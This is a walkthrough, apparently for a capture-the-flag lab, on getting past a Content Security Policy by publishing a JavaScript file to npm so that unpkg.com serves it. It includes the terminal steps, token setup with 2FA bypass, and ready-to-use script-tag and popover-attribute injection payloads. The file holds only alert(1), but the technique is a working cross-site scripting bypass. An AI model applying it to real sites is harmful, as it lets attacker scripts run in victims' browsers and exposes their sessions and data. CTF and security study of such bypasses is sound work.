Goal: Publish a custom JavaScript file to npm so it becomes available on unpkg.com (a CSP-whitelisted CDN) for use in a CTF lab.
π Prerequisites
- Node.js & npm installed
-
- An account on npmjs.com
-
- 2FA enabled OR a Granular Access Token with 2FA bypass
πͺ Full Step-by-Step (Terminal Session):
π Publishing a Custom JS Payload to UNPKG via npm
A complete walkthrough for hosting a JavaScript file on unpkg.com β a CDN commonly whitelisted in CSP script-src-elem directives β for use in CTF lab environments.
π Prerequisites
| Requirement | Details |
|---|---|
| Node.js & npm | Installed locally |
| npm Account | Register at npmjs.com/signup |
| 2FA Token | Granular Access Token with Bypass 2FA |
πͺ Full Workflow
# ============================================================
# Publishing a Custom JS Payload to UNPKG via npm
# ============================================================
# ---------- STEP 1: Create the project directory ----------
mkdir ~/npm && cd ~/npm
# ---------- STEP 2: Write the payload file ----------
cat > xa.js << 'EOF'
alert(1);
EOF
# ---------- STEP 3: Create package.json ----------
cat > package.json << 'EOF'
{
"name": "your-evil-payload",
"version": "1.0.0",
"main": "xa.js"
}
EOF
# ---------- STEP 4: Register an npm account ----------
# Open in browser: https://www.npmjs.com/signup
# ---------- STEP 5: Generate a Granular Access Token ----------
# npmjs.com β Account β Access Tokens β Generate New Token
# Permissions : Read and Write
# Packages : your package (or all)
# Bypass 2FA : ENABLED
# Copy the token (starts with npm_) β shown only once.
# ---------- STEP 6: Configure authentication ----------
npm logout
npm config set //registry.npmjs.org/:_authToken=YOUR_TOKEN_HERE
npm whoami
# ---------- STEP 7: Publish the package ----------
npm publish
# ---------- STEP 8: Verify on UNPKG (wait 1β5 minutes) ----------
curl -sI https://unpkg.com/[email protected]/xa.js | head -5
# Expect: HTTP/2 200 + content-type: application/javascript
curl https://unpkg.com/[email protected]/xa.js
# Output: alert(1);
π― Final Injection Payload
<script src="https://unpkg.com/[email protected]/xa.js"></script>
With the popover trigger:
<button popovertarget="x">click me</button>
<test onbeforetoggle="print`5`" popover id="x">aaa</test>
<script src="https://unpkg.com/[email protected]/xa.js"></script>
π Cheat Sheet
| Step | Action |
|---|---|
| 1 | mkdir ~/npm && cd ~/npm |
| 2 | Create xa.js with payload |
| 3 | Create package.json |
| 4 | Register at npmjs.com |
| 5 | Generate Granular Token with 2FA bypass |
| 6 | npm config set //registry.npmjs.org/:_authToken=TOKEN |
| 7 | npm publish |
| 8 | Verify with curl -I https://unpkg.com/PKG@VER/FILE |
| 9 | Inject <script src="https://unpkg.com/PKG@VER/FILE"></script> |
β οΈ Troubleshooting
| Error | Resolution |
|---|---|
E403 Forbidden |
Use Granular token with Bypass 2FA enabled |
E409 Conflict |
Bump version in package.json |
UNPKG 404 |
Wait 5β10 min; retry with ?t=$(date +%s) |
npm whoami fails |
Re-run npm config set //registry.npmjs.org/:_authToken=... |
| Name taken | Use scoped name: @youruser/payload |
π§ Key Concepts
- UNPKG is read-only β it mirrors npm, it does not accept uploads.
- Publishing to npm is the only way to expose a file on
unpkg.com. - Many CSPs whitelist
unpkg.com, making it a reliable script host. - In 2026, npm requires Granular Access Tokens with 2FA bypass for non-interactive publishing.
π Result
Your payload is now available at:
https://unpkg.com/[email protected]/xa.js
And executes cleanly inside the CSP-restricted target page.
No comments yet